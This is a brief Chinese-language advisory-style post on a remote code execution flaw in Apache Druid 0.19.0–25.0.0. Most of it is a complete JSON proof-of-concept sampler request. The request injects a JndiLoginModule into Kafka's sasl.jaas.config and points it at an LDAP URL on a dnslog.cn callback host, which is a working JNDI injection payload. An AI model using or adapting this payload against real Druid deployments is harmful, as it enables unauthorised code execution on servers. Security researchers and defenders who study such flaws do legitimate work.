Apache Druid远程代码执行漏洞
Apache Druid是一个高性能的实时大数据分析引擎，支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP（在线分析处理）场景，能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点，广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid，企业和开发者可以快速获得实时分析结果，提升决策效率。影响版本
0.19.0 <= Apache Druid <= 25.0.0
不受影响版本
Apache Druid >= 26.0.0（修复版本尚未正式发布）
dnslog测试POC代码:
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"6.6.6.6:9092",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://1nu5tj.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"any",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
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